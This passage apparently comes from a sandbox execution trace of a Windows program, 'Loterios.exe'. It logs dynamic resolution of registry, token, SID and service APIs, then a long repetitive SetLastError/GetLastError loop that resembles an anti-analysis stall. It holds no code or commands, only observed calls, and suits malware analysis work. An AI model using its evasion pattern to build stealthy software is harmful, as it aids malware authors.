lpProcName="WaitForSingleObject") returned 0x745ceca0 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0236.322] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0236.323] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0236.323] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0236.323] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0236.323] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.323] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76850000 [0236.323] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0236.323] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0236.323] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0236.324] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0236.324] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0236.324] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.324] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77230000 [0236.324] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0236.324] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0236.324] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0236.324] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0236.325] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0236.326] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0236.326] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.326] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x74360000 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0236.327] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0236.331] GetCurrentThreadId () returned 0x1158 [0236.331] lstrcmpA (lpString1="X=s+0", lpString2=">D_zN@") returned 1 [0236.333] VirtualFree (lpAddress=0x520000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.334] GetCommandLineW () returned="C:\\BlotRots\\Loterios.exe /C" [0236.334] CommandLineToArgvW (in: lpCmdLine="C:\\BlotRots\\Loterios.exe /C", pNumArgs=0x19ff78 | out: pNumArgs=0x19ff78) returned 0x612158*="C:\\BlotRots\\Loterios.exe" [0236.335] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x25a0000 [0236.337] SetLastError (dwErrCode=0x5) [0236.337] GetLastError () returned 0x5 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x9) [0236.337] GetLastError () returned 0x9 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0xd) [0236.337] GetLastError () returned 0xd [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x11) [0236.337] GetLastError () returned 0x11 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x15) [0236.337] GetLastError () returned 0x15 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x19) [0236.337] GetLastError () returned 0x19 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x1d) [0236.337] GetLastError () returned 0x1d [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x21) [0236.337] GetLastError () returned 0x21 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x25) [0236.337] GetLastError () returned 0x25 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x29) [0236.337] GetLastError () returned 0x29 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x2d) [0236.337] GetLastError () returned 0x2d [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x31) [0236.337] GetLastError () returned 0x31 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x35) [0236.337] GetLastError () returned 0x35 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.337] SetLastError (dwErrCode=0x39) [0236.337] GetLastError () returned 0x39 [0236.337] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x3d) [0236.338] GetLastError () returned 0x3d [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x41) [0236.338] GetLastError () returned 0x41 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x45) [0236.338] GetLastError () returned 0x45 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x49) [0236.338] GetLastError () returned 0x49 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x4d) [0236.338] GetLastError () returned 0x4d [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x51) [0236.338] GetLastError () returned 0x51 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x55) [0236.338] GetLastError () returned 0x55 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x59) [0236.338] GetLastError () returned 0x59 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x5d) [0236.338] GetLastError () returned 0x5d [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x61) [0236.338] GetLastError () returned 0x61 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x65) [0236.338] GetLastError () returned 0x65 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x69) [0236.338] GetLastError () returned 0x69 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x6d) [0236.338] GetLastError () returned 0x6d [0236.338] GetCurrentThread () returned 0xfffffffe [0236.338] SetLastError (dwErrCode=0x71) [0236.338] GetLastError () returned 0x71 [0236.338] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x75) [0236.339] GetLastError () returned 0x75 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x79) [0236.339] GetLastError () returned 0x79 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x7d) [0236.339] GetLastError () returned 0x7d [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x81) [0236.339] GetLastError () returned 0x81 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x85) [0236.339] GetLastError () returned 0x85 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x89) [0236.339] GetLastError () returned 0x89 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x8d) [0236.339] GetLastError () returned 0x8d [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x91) [0236.339] GetLastError () returned 0x91 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x95) [0236.339] GetLastError () returned 0x95 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x99) [0236.339] GetLastError () returned 0x99 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0x9d) [0236.339] GetLastError () returned 0x9d [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0xa1) [0236.339] GetLastError () returned 0xa1 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0xa5) [0236.339] GetLastError () returned 0xa5 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0xa9) [0236.339] GetLastError () returned 0xa9 [0236.339] GetCurrentThread () returned 0xfffffffe [0236.339] SetLastError (dwErrCode=0xad) [0236.340] GetLastError () returned 0xad [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xb1) [0236.340] GetLastError () returned 0xb1 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xb5) [0236.340] GetLastError () returned 0xb5 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xb9) [0236.340] GetLastError () returned 0xb9 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xbd) [0236.340] GetLastError () returned 0xbd [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xc1) [0236.340] GetLastError () returned 0xc1 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xc5) [0236.340] GetLastError () returned 0xc5 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xc9) [0236.340] GetLastError () returned 0xc9 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xcd) [0236.340] GetLastError () returned 0xcd [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xd1) [0236.340] GetLastError () returned 0xd1 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xd5) [0236.340] GetLastError () returned 0xd5 [0236.340] GetCurrentThread () returned 0xfffffffe [0236.340] SetLastError (dwErrCode=0xd9) [0236.340] GetLastError () returned 0xd9 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xdd) [0236.341] GetLastError () returned 0xdd [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xe1) [0236.341] GetLastError () returned 0xe1 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xe5) [0236.341] GetLastError () returned 0xe5 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xe9) [0236.341] GetLastError () returned 0xe9 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xed) [0236.341] GetLastError () returned 0xed [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xf1) [0236.341] GetLastError () returned 0xf1 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xf5) [0236.341] GetLastError () returned 0xf5 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xf9) [0236.341] GetLastError () returned 0xf9 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0xfd) [0236.341] GetLastError () returned 0xfd [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0x101) [0236.341] GetLastError () returned 0x101 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0x105) [0236.341] GetLastError () returned 0x105 [0236.341] GetCurrentThread () returned 0xfffffffe [0236.341] SetLastError (dwErrCode=0x109) [0236.341] GetLastError () returned 0x109 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x10d) [0236.342] GetLastError () returned 0x10d [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x111) [0236.342] GetLastError () returned 0x111 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x115) [0236.342] GetLastError () returned 0x115 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x119) [0236.342] GetLastError () returned 0x119 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x11d) [0236.342] GetLastError () returned 0x11d [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x121) [0236.342] GetLastError () returned 0x121 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x125) [0236.342] GetLastError () returned 0x125 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x129) [0236.342] GetLastError () returned 0x129 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x12d) [0236.342] GetLastError () returned 0x12d [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x131) [0236.342] GetLastError () returned 0x131 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x135) [0236.342] GetLastError () returned 0x135 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.342] SetLastError (dwErrCode=0x139) [0236.342] GetLastError () returned 0x139 [0236.342] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x13d) [0236.343] GetLastError () returned 0x13d [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x141) [0236.343] GetLastError () returned 0x141 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x145) [0236.343] GetLastError () returned 0x145 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x149) [0236.343] GetLastError () returned 0x149 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x14d) [0236.343] GetLastError () returned 0x14d [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x151) [0236.343] GetLastError () returned 0x151 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x155) [0236.343] GetLastError () returned 0x155 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x159) [0236.343] GetLastError () returned 0x159 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x15d) [0236.343] GetLastError () returned 0x15d [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x161) [0236.343] GetLastError () returned 0x161 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x165) [0236.343] GetLastError () returned 0x165 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x169) [0236.343] GetLastError () returned 0x169 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x16d) [0236.343] GetLastError () returned 0x16d [0236.343] GetCurrentThread () returned 0xfffffffe [0236.343] SetLastError (dwErrCode=0x171) [0236.343] GetLastError () returned 0x171 [0236.343] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x175) [0236.344] GetLastError () returned 0x175 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x179) [0236.344] GetLastError () returned 0x179 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x17d) [0236.344] GetLastError () returned 0x17d [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x181) [0236.344] GetLastError () returned 0x181 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x185) [0236.344] GetLastError () returned 0x185 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x189) [0236.344] GetLastError () returned 0x189 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x18d) [0236.344] GetLastError () returned 0x18d [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x191) [0236.344] GetLastError () returned 0x191 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x195) [0236.344] GetLastError () returned 0x195 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x199) [0236.344] GetLastError () returned 0x199 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x19d) [0236.344] GetLastError () returned 0x19d [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x1a1) [0236.344] GetLastError () returned 0x1a1 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x1a5) [0236.344] GetLastError () returned 0x1a5 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.344] SetLastError (dwErrCode=0x1a9) [0236.344] GetLastError () returned 0x1a9 [0236.344] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1ad) [0236.345] GetLastError () returned 0x1ad [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1b1) [0236.345] GetLastError () returned 0x1b1 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1b5) [0236.345] GetLastError () returned 0x1b5 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1b9) [0236.345] GetLastError () returned 0x1b9 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1bd) [0236.345] GetLastError () returned 0x1bd [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1c1) [0236.345] GetLastError () returned 0x1c1 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1c5) [0236.345] GetLastError () returned 0x1c5 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1c9) [0236.345] GetLastError () returned 0x1c9 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1cd) [0236.345] GetLastError () returned 0x1cd [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1d1) [0236.345] GetLastError () returned 0x1d1 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1d5) [0236.345] GetLastError () returned 0x1d5 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1d9) [0236.345] GetLastError () returned 0x1d9 [0236.345] GetCurrentThread () returned 0xfffffffe [0236.345] SetLastError (dwErrCode=0x1dd) [0236.345] GetLastError () returned 0x1dd [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1e1) [0236.346] GetLastError () returned 0x1e1 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1e5) [0236.346] GetLastError () returned 0x1e5 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1e9) [0236.346] GetLastError () returned 0x1e9 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1ed) [0236.346] GetLastError () returned 0x1ed [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1f1) [0236.346] GetLastError () returned 0x1f1 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1f5) [0236.346] GetLastError () returned 0x1f5 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1f9) [0236.346] GetLastError () returned 0x1f9 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x1fd) [0236.346] GetLastError () returned 0x1fd [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x201) [0236.346] GetLastError () returned 0x201 [0236.346] GetCurrentThread () returned 0xfffffffe [0236.346] SetLastError (dwErrCode=0x205) [0236.346] GetLastError () returned 0x205 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x209) [0236.347] GetLastError () returned 0x209 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x20d) [0236.347] GetLastError () returned 0x20d [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x211) [0236.347] GetLastError () returned 0x211 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x215) [0236.347] GetLastError () returned 0x215 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x219) [0236.347] GetLastError () returned 0x219 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x21d) [0236.347] GetLastError () returned 0x21d [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x221) [0236.347] GetLastError () returned 0x221 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x225) [0236.347] GetLastError () returned 0x225 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x229) [0236.347] GetLastError () returned 0x229 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x22d) [0236.347] GetLastError () returned 0x22d [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x231) [0236.347] GetLastError () returned 0x231 [0236.347] GetCurrentThread () returned 0xfffffffe [0236.347] SetLastError (dwErrCode=0x235) [0236.347] GetLastError () returned 0x235 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x239) [0236.348] GetLastError () returned 0x239 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x23d) [0236.348] GetLastError () returned 0x23d [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x241) [0236.348] GetLastError () returned 0x241 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x245) [0236.348] GetLastError () returned 0x245 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x249) [0236.348] GetLastError () returned 0x249 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x24d) [0236.348] GetLastError () returned 0x24d [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x251) [0236.348] GetLastError () returned 0x251 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x255) [0236.348] GetLastError () returned 0x255 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x259) [0236.348] GetLastError () returned 0x259 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x25d) [0236.348] GetLastError () returned 0x25d [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x261) [0236.348] GetLastError () returned 0x261 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.348] SetLastError (dwErrCode=0x265) [0236.348] GetLastError () returned 0x265 [0236.348] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x269) [0236.349] GetLastError () returned 0x269 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x26d) [0236.349] GetLastError () returned 0x26d [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x271) [0236.349] GetLastError () returned 0x271 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x275) [0236.349] GetLastError () returned 0x275 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x279) [0236.349] GetLastError () returned 0x279 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x27d) [0236.349] GetLastError () returned 0x27d [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x281) [0236.349] GetLastError () returned 0x281 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x285) [0236.349] GetLastError () returned 0x285 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x289) [0236.349] GetLastError () returned 0x289 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x28d) [0236.349] GetLastError () returned 0x28d [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x291) [0236.349] GetLastError () returned 0x291 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x295) [0236.349] GetLastError () returned 0x295 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x299) [0236.349] GetLastError () returned 0x299 [0236.349] GetCurrentThread () returned 0xfffffffe [0236.349] SetLastError (dwErrCode=0x29d) [0236.350] GetLastError () returned 0x29d [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2a1) [0236.350] GetLastError () returned 0x2a1 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2a5) [0236.350] GetLastError () returned 0x2a5 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2a9) [0236.350] GetLastError () returned 0x2a9 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2ad) [0236.350] GetLastError () returned 0x2ad [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2b1) [0236.350] GetLastError () returned 0x2b1 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2b5) [0236.350] GetLastError () returned 0x2b5 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2b9) [0236.350] GetLastError () returned 0x2b9 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2bd) [0236.350] GetLastError () returned 0x2bd [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2c1) [0236.350] GetLastError () returned 0x2c1 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2c5) [0236.350] GetLastError () returned 0x2c5 [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2c9) [0236.350] GetLastError () returned 0x2c9 [0236.350] GetCurrentThread () returned 0xfffffffe 